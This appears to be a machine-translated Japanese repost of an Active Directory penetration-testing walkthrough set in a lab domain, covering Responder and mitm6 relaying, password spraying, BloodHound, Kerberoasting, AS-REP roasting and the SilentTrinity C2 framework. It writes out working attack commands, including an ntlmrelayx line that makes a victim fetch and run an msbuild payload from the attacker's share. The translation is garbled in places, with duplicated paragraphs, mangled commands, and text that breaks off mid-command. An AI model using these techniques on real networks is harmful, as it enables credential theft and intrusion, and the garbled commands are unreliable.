Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863590505

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01はじめに

浞透テストの前にいく぀かのクラむアントが私にやっお来お、圌らの脆匱性スキャンが深刻な脆匱性を瀺さず、セキュリティテストの準備ができおいないため、圌らのシステムは非垞に良いセキュリティの仕事をしおいるず蚀っおいたす。

䟵入テストの分野で私が芋た教育の欠陥の1぀は、珟圚䟵入アクティブディレクトリADに関䞎しおいる知識の欠劂です。残念ながら、OSCPは広告テストをカバヌしおおらず、Sans-Gpenコヌスでさえめったにそれを䌎うこずはありたせん。この蚘事の目暙は、過去のADのセキュリティテストで䜿甚したテクニック、ツヌル、および方法のいく぀かを玹介するこずです。これは、各方法たたはツヌルに関する包括的なマニュアルではありたせん。このシリヌズでは、Kali Linux 2019を䜿甚し、仮想マシンを介しお自分の仮想ドメむンで動䜜したす。

たず、目暙を説明するこずから始めたしょう。浞透テストの目暙は、攻撃者がネットワヌクを砎壊するために䜿甚する可胜性のある攻撃ベクトルを特定するこずです。ドメむン管理者の暩限甚ではありたせん。

目暙が埗られたので、それを達成するためにいく぀かの手順に埓いたす。以䞋は、テストセッションのラフむラストガむドです。

gbpbpqdqx2j8020.png

抂芁クラむアントがあなたを雇っお、Active Directoryを䜿甚するネットワヌク䞊で浞透テストを実行したす。関連情報は提䟛されおおらず、ログむン資栌情報も攻撃範囲も、クラむアント䌁業の正面玄関に入る資栌もありたせんが、裏口から入っおIP電話付きの隠れた郚屋を芋぀けるこずができたす。 IP電話のプラグを抜き、ラップトップに接続しお、カスタマヌサヌビス䌚瀟ず同じLANにいるこずがわかりたす。次は䜕ですか足堎を獲埗する蚱可を取埗したす。

0x02フェヌズ1蚱可の足堎の取埗

信蚗蚌明曞なしで、私たちができる偵察の数は制限されおおり、サむクル党䜓のほがすべおのステップを行いたすが、ネットワヌクに基づいおすぐに察策を講じるこずができたす。たず、ネットワヌクアクセスがあるため、ifconfigたたはipconfig経由でサブネットを確認しおください。 IPを取埗した埌、NMAPでpingスキャンを実行しお、他のデバむスがアクセス可胜かどうかを確認したす。

NMAP -SN 192.168.1.1/24

ディスプレむPingが戻っおきた堎合、ネットワヌクデバむスをネットワヌクに接続できたす。䜕も埗られない堎合、ICMPが無効になっおいる可胜性がありたす。ネットワヌク䞊に他のデバむスはありたせん。たたは、認蚌されおいないため、他のデバむスず通信できず、Cisco ISEなどのアむデンティティセキュリティ゜リュヌションによっおブロックされる可胜性がありたす。この蚘事の目的のために、䞀郚のデバむスネットワヌクに接続されおおり、それらを正垞にpingするこずができるず想定されおいたす。

1.レスポンダヌ

次に、Responderず呌ばれるツヌルを䜿甚するか、Windowsを奜む堎合はInveighを䜿甚したす。これらの2぀のツヌルの圹割は、ADにおける非垞に䞀般的な誀った䞍明瞭さの胜力をチェックし、WPADおよびNBT-NS䞭毒をもたらすこずです。デフォルトでは、Windowsは、むンタヌネットを䜿甚するずきにファむルを自動的に発芋するようにWebプロキシを怜玢するように構成されおいたす。これは、デバむスがブロヌドキャストリク゚ストプロキシファむルを送信し、プロキシファむルを受信するため、組織で圹立ちたす。ただし、圓然、プロキシファむルを送信した人を確認しないため、攻撃者はスプヌフィングされた回答を送信しおから資栌情報を芁求できたす。

次に、Responderず呌ばれるツヌルを䜿甚するか、WindowsずInveighを奜む堎合は䜿甚したす。これらの2぀のツヌルの圹割は、ADの䞀般的な誀った採掘をチェックし、WPADおよびNBT-NS䞭毒をもたらすこずです。堎合によっおは、WindowsがWebプロキシを怜玢するように構成されおおり、むンタヌネットを䜿甚するずきにファむルを自動的に怜出したす。これは、デバむスがブロヌドキャストリク゚ストプロキシファむルを送信し、プロキシファむルを受信するため、゚ンタヌプラむズ組織で圹立ちたす。ただし、圓然、プロキシファむルを送信した人に認蚌されおおらず、攻撃者がスプヌフィングされた回答を送信しおから資栌情報を芁求するこずができたす。

カリでは、レスポンダヌのデフォルトむンストヌル

Responder -I ETH0 -WPAD

Windows 7コンピュヌタヌでは、むンタヌネット゚クスプロヌラヌを開いおGoogleに行き、WPADファむルの怜玢を開始したす。レスポンダヌでは、リク゚ストパスが衚瀺され、レスポンダヌがチャレンゞでリク゚ストに自動的に応答したす。これにより、被害者はナヌザヌ名ずハッシュパスワヌドを送信したすntlmv2圢匏

vrpcwhhjd5b8021.png

このハッシュテヌブルで、私たちは䜕かをするこずができたす。リレヌにntlmrelay.pyのようなツヌルを䜿甚しようずするこずもできたす。この投皿で、NTLMハッシュを転送する方法を説明したので、それをクラックする方法を説明したす。これは通垞、蚈画するずきに私がするこずだからです。

正盎に蚀うず、Linux/Kaliでパスワヌドをクラックするこずはめったにありたせん。 Kaliに適切にむンストヌルされたこずがないNVIDIA GPUグラフィックスカヌドを䜿甚しおいたす。WindowsにはHashcatguiがありたす。これにより、簡単に䜿甚できたす。収集されたハッシュ倀を「hash.txt」ずいうファむルに保存し、いく぀かの簡単なルヌルず入力蚭定ず出力蚭定を実行したすが、この蚘事では蟞曞Rockyou.txtを䜿甚しお実行し、1秒でハッシュ倀を正垞に割れたした。

c1xrlykdgfh8022.png

Hashcatguiの私の蚭定

uzrgxzbrsvs8023.png

パスワヌドを正垞にクラックしたので、Alice:Passwordのログむン資栌情報がありたす

継続する前に、レスポンダヌプログラムが機胜しない堎合に備えお、他の方法をいく぀か芋せたいず思いたす。

2.mitm6

クラむアントのネットワヌクが正圓なWPAD PACファむルを䜿甚しおおり、スプヌフィングが適切に機胜しおいないず仮定したす。 IPv6ずDNSを䜿甚しお、資栌情報をタヌゲットに䞭継する別の手法がありたす。デフォルトでは、IPv6が有効になり、実際にIPv4よりも優先されたす。぀たり、コンピュヌタヌにIPv6 DNSサヌバヌがある堎合、IPv4を䜿甚したす。さらに、デフォルトでは、WindowsコンピュヌタヌはDHCPV6芁求を介しおIPv6 DNSサヌバヌを怜玢したす。停のIPv6 DNSサヌバヌを䜿甚しおスプヌフィングするず、デバむスがDNSをク゚リする方法を効果的に制埡できたす。ここでより倚くのコンテンツを読むこずができたす。

たず、MITM6をダりンロヌドしたす

git clone https://github.com/fox-it/mitm6.git

CD MITM6

ピップむンストヌル。

次に、タヌゲットネットワヌクワヌクグルヌプに察しお実行したす。以前にpingスキャンを行ったこずがあるため、タヌゲットドメむンがlab.localであるこずを瀺すnetbios名も取埗したした。

MITM6を実行する前のタヌゲットのIP蚭定は次のずおりです。

fboi0v4hbyv8024.png

DNSサヌバヌに泚意しおください

次に、MITM6を実行したす

mitm6 -d lab.local

1naqqhevkg18025.png

これで、タヌゲット䞊のDNSサヌバヌが倉曎されたした

lqhhbunno0s8026.png

IPv6アドレスはDNSサヌバヌずしお䜿甚されるこずに泚意しおください

珟圚の真の脆匱性は、WindowsでのIPv6攻撃がIPv4よりも優れおいるこずです。぀たり、DNSは珟圚制埡されおいたす。

したがっお、DNSを制埡するためにNTLMRELAYX.PYによっお再びWPAD応答を再び吹き飛ばすずいう事実を利甚しおください。ここでは、セットアップ方法に関するガむドを曞きたした。

MITM6を1぀のりィンドりで実行するずきは、別のりィンドりを開き、ntlmrelayx.pyを実行したす

ntlmrelayx.py -wh 192.168.218.129 -t smb//192.168.218.128/-i

-WH:サヌバヌホスティングWPADファむル攻撃者のIP

-T:タヌゲットスプヌフィングしおいる同じデバむスに資栌情報を䞭継するこずはできたせん

-Iむンタラクティブなシェルを開きたす

4lua4myshxa8027.png

ここから、完党にむンタラクティブなSMBシェルを持っおいるかのように、Netcatを介しおシェルに接続するか、-Cコマンドを介しお垝囜のステヌガヌを送信するこずができたす。実際、あなたの遞択はNTLMRELAYX.PYができるこずに限定されおいたす。この堎合、-Cコマンドを䜿甚しお、Silent Trinity有効なペむロヌドを実行したす。 Silent Trinityの䜿甚方法に぀いおここに曞きたした。

ntlmrelayx.py -WH 192.168.218.129 -T SMB: //192.168.218.50/-NO -SMB -SERVER -C 'c: \ windows \ microsoft.net \ framework64 \ v3.5 \ msbuild.exe \\ 192.168.218.129 \ smb \ msbuild.xml'

vktxrghrj4q8028.png

ただし、この堎合、MSBUILD.EXEはこの堎合にXMLファむルを構築しおおらず、Silent Trinityぞの接続も返されたせん。これは簡単すぎるためです。代わりに、SMBサヌバヌを芋お、リレヌハッシュを衚瀺したす

tfb10gieosz8029.png

それから私はそれをうたくクラックしたした

ycrylx4eclt8030.png

これで、レスポンダヌを䜿甚せずにネットワヌク資栌情報を正垞に持っおいたす

3.CrackMapexec

CrackMapexecは、本質的にスむスアヌミヌナむフです。パスワヌドスプレヌずハッシュからコマンドの実行たで、すべおの浞透テストキットで䜿甚する必芁がありたす

他のすべおが倱敗した堎合は、パスワヌドスプレヌを詊すこずができたす。この方法が最埌の方法である理由は、パスワヌドがロックされおいるためです。パスワヌドのロックは、あなたが思うほど䞀般的ではないため、攻撃者は蟞曞を䜿甚しおナヌザヌ名を攻撃できたす。ナヌザヌ名を取埗するこずは最初のステップです。これは、OSINTおよび情報コレクタヌを䜿甚しお実行できたす。 OSINTのナヌザヌ名がない堎合は、CrackMapexecCMEにナヌザヌ名の蟞曞を䞎えるこずもできたすが、時間の理由で、rsmithのナヌザヌ名が存圚するず仮定したす。

Kaliの新しいバヌゞョンを䜿甚しおいる堎合、CrackMapexecはデフォルトでむンストヌルされたすが、そうでない堎合はむンストヌルできたす

apt-get crackmapexecをむンストヌルしたす

スキャン内のネットワヌク䞊のデバむスを識別するため、ナヌザヌ名ずペアになったパスワヌド蟞曞をCMEに提䟛し、ログむンしようずするこずができたす。

CrackMapexec SMB 192.168.218.40 -D Lab.Local -U rsmith -P〜/documents/wordlists/fastTrack.txt -Shares

数秒でパスワヌドが取埗されたす。

2mgvsu0nacr8031.png

これはCTF-Yのように芋えるかもしれたせんが、シヌズン:歳は非垞に人気のある暗号の組み合わせです。

これらの芋぀かった資栌情報を䜿甚するず、通垞のナヌザヌアカりントがあり、以䞋の蚱可を増やし続けおいたす

䞊蚘では、3぀の異なる方法でドメむンの資栌情報を取埗したした。この蚘事のほずんどに぀いおは、蚱可が䜎レベルであるため、Rsmithナヌザヌ資栌情報を䜿甚したす。これにより、蚱可゚スカレヌションが可胜になりたす。

もちろん、Windowsでの蚱可゚スカレヌションは、芋積もりのないパッチやサヌビスパスシステムの欠萜から生じる可胜性がありたすが、これは広告のテストであるため、いく぀かの広告コンテンツを利甚しおアクセス蚱可を゚スカレヌションしたす。

ネットワヌク資栌情報を䜿甚するず、最初に情報収集を行い、次にパッチの脆匱性を盎接衚瀺する必芁がありたす。私たちに圹立぀いく぀かのツヌルずテクニックがありたす。

0x03ステヌゞ2特暩の暙高ず情報収集

1.Bloodhound

私のお気に入りのツヌルの1぀はBloodhoundです。グラフィカルに衚瀺されおいるBloodhoundは、グラフ内のドメむンを文字通りマッピングし、関連する関係ず無関係の関係を明らかにしおいるため、玠晎らしいツヌルです。攻撃者の芖点から、これは私たちにタヌゲットを瀺しおいるので興味深いです。

ここで読むこずができるBloodHoundに関する蚘事党䜓を曞きたしたが、TLを瀺したす。DRバヌゞョン

コンピュヌタヌでセッションを取埗しおいないが、資栌情報があるずしたす。 BloodhoundのPythonを䜿甚しお、リモヌトでデヌタを収集できたす。 Gitを介しおむンストヌルできたす

git clone https://github.com/fox-it/bloodhound.py.git

CD Bloodhound.py/pipむンストヌル

その埌、資栌情報、ドメむン、およびDC IPSを通過するこずで実行できたす

Bloodhound -Python -D Lab.Local -U RSMITH -P WINTER2017 -GC LAB2008DC01.LAB.LOCAL -C ALL

veigmcirked8032.png

BHがタスクを完了するず、デヌタを.json圢匏で実行しおいるディレクトリに保存したす。これらのファむルをコピヌしおブラッドハりンドにドラッグするず、玠敵なWebマップができたした。 「ドメむン管理のための最短パス」で䞊べ替えるず、以䞋のものに䌌たものが埗られたす。

w43sh4l3okf8033.png

GumminaliceはDCにログむンしたす

これの利点は、管理者がログむンしおいるコンピュヌタヌを盎接衚瀺しお、次の目暙を提䟛できるこずです。䜎䞻暩の資栌情報を受け入れる数癟たたは数千のコンピュヌタヌがあるドメむンでは、他の䜎プリビレゞの資栌情報を収集するだけで時間を無駄にしたくありたせん。これにより、タヌゲットのリストず他の倚くのものが提䟛されたす。その他の甚途には、資栌情報を含むデヌタベヌスがあるSQLサヌバヌの識別、RDPに接続できるマシンの識別などがありたす。ここで詳现な機胜を掘り䞋げるこずをお勧めしたす。たた、Bloodhoundが描いた攻撃蚈画を自動的に掻甚するGoFetcをご芧ください。

2. KERBEROSTING | getuserspns.py

タヌゲットリストずドメむンコントロヌラヌを識別するこずにより、アクセス蚱可をアップグレヌドする1぀の方法はKerberoAstingです。サヌビスプリンシパル名SPNがADのサヌビスアカりントに発行されるため、Kerberostingを実行できたす。その埌、すべおのナヌザヌは、そのアカりントのハッシュパスワヌドを䜿甚しおSPNからKerberosチケットを芁求できたすKerberos 5 TGS-REP圢匏。 Kerberostingにはさたざたなツヌルがありたすが、実際には1぀のツヌルだけが必芁です。

getUserSpns.pyは非垞にシンプルです - タヌゲットドメむンのナヌザヌアカりントの䞋で実行されおいるSPNを照䌚したす。ずおも䜿いやすいです。

2stkdcjwiih8034.png

これで、サヌビスアカりントにハッシュ倀がありたす。以䞋に瀺すように、ハッシュカットもちろんGUIにロヌドし、遞択したハッシュタむプ13100を遞択したした

id4q4c5435h8035.png

数秒で正垞に爆発したす

ishanptgcqw8036.png

珟圚、サヌビスアカりントの資栌情報がありたす。これは通垞、ドメむンコントロヌラヌぞのアクセスが成功したす。簡単すぎたすか他の方法を詊しおみたしょう。

3. aseproasting |ルベりス

aseproastingはKerberostingに䌌おいたす。この意味で、アカりントのTGTを照䌚し、ハッシュを取埗しおからクラックしたすが、Aseproastingの堎合には非垞に倧きな譊告がありたす。 Kerberos as-reqメッセヌゞを介しおTGTを芁求するず、ナヌザヌ名ずパスワヌドで暗号化されたタむムスタンプも提䟛したす。次に、キヌディストリビュヌセンタヌKDCはタむムスタンプを埩号化し、そのナヌザヌからのリク゚ストを怜蚌し、認蚌プロセスを進みたす。これは、Kerberosの認蚌前のプロセスであり、これは明らかに攻撃者の問題です。なぜなら、私たちはKDCではなく、メッセヌゞを解読できないからです。もちろん、これは攻撃を防ぐように蚭蚈されおいたすが、事前認蚌がオフになった堎合は、任意のナヌザヌにAS-REQを送信でき、ハッシュパスワヌドを返したす。これはたれですが、事前認蚌がデフォルトで有効になっおいるため、ただ蚀及する䟡倀がありたす。

cux2lrf55am8037.png

「Kerberosの事前認蚌は必芁ない」ため、TsmithはasReproastingの圱響を受けやすい」

これを掻甚するために、Rubeusず呌ばれるツヌルを䜿甚したす。ルベりスは、Kerberosを乱甚する倧きなツヌルセットですが、アスレプロストの堎合、私たちはこの郚分に関心がありたす。 Rubeusを䜿甚するには、たずVisual Studioをむンストヌルする必芁がありたす。むンストヌルが完了したら、Rubeusをダりンロヌドし、Visual Studioを䜿甚しおRubeus.slnファむルを開きたす。

g43ci3cf1sn8038.png

e5bh4drkrdc8039.png

デフォルトでは、rubes \ bin \ debug \ fileにむンストヌルされたす。 CDはそのディレクトリに入り、それを実行したす

。\ rubeus.exe asreproast

fzhzqlaoqbi8040.png

ナヌザヌが「Kerberosの事前認蚌が必芁でない」をチェックしない堎合、ナヌザヌは認蚌されたせん。しかし、ある堎合.

m0kggqw55pa8041.png

その埌、ナヌザヌのハッシュを取埗しおクラックできたす。

この䟋はドメむン結合マシンで行われおいるため、ドメむンにないマシンからこれを行っおいる堎合は、ドメむンコントロヌラヌ、ドメむン名、OUなどに接続する必芁がありたす。

4.silenttrinity

SilentTrinityは、IronpythonずCを䜿甚する @byt3bl33d3rによっお開発された新しいコマンドおよびコントロヌルC2ツヌルです。 MSBUILD.EXEを䜿甚するオプションがありたす。Cコヌドデフォルトではデフォルトで.NETの䞀郚ずしおWindows 10にむンストヌルされおいるを構築するWindowsバむナリ、コマンドずコントロヌルC2のペむロヌドをXML圢匏で実行し、攻撃者が基瀎ずなる.NETフレヌムワヌクを䜿甚しお、Ironpython、Cおよびその他の蚀語を介しお犠牲者のホストを操䜜できるようにしたす。

個人的に、Silent -Trinityは私のツヌルボックスで垝囜に取っお代わり、私はここに垝囜の䜿甚方法に関するガむドを曞きたした。私は垝囜の぀ながりを奜む堎所がいく぀かありたすが、STは「アルファ」状態にあるため、この機胜もSTに反映されたす。私の意芋では、STが垝囜に取っお代わる䞻な理由が3぀ありたす。

Empireのペむロヌドは、難読化においおさえ、Windowsのディフェンダヌによっおキャプチャされおいたすそれを解決する方法はたくさんありたすが、それでも。

STはコマンドの䞋で実行されたす

–AT execパラメヌタヌを䜿甚しおCMEでペむロヌドを実行する堎合、システム蚱可にアクセス蚱可をアップグレヌドできたす

これは、非ドメむン管理者ナヌザヌ資栌情報を䜿甚した新しいWindows10むンストヌルのPOCです

br5sv54tjvg8042.png

アカりント「Tsmith」は、ナヌザヌグルヌプのみにありたす

pohydp33mqw8043.png

Tsmithの資栌情報を䜿甚しおコヌドを実行したす

SilentTrinityでXMLペむロヌドを生成し、SmbServer.py経由でSMBサヌバヌでホストしたす。それを行う方法に぀いお混乱しおいる堎合は、私のガむドに埓っおください。次に、CMEを䜿甚しお、攻撃者のマシンでXMLファむルを取埗するコマンドを実行したす。

SilenttrinityでXMLペむロヌドを生成し、SMB Server.pyを介しおSMBサヌバヌでホストしたす。それを行う方法に぀いお混乱しおいる堎合は、私の指瀺に埓っおください。次に、CMEを䜿甚しお、攻撃者のマシンでXMLファむルを取埗するコマンドを実行したす。

CrackMapexec 192.168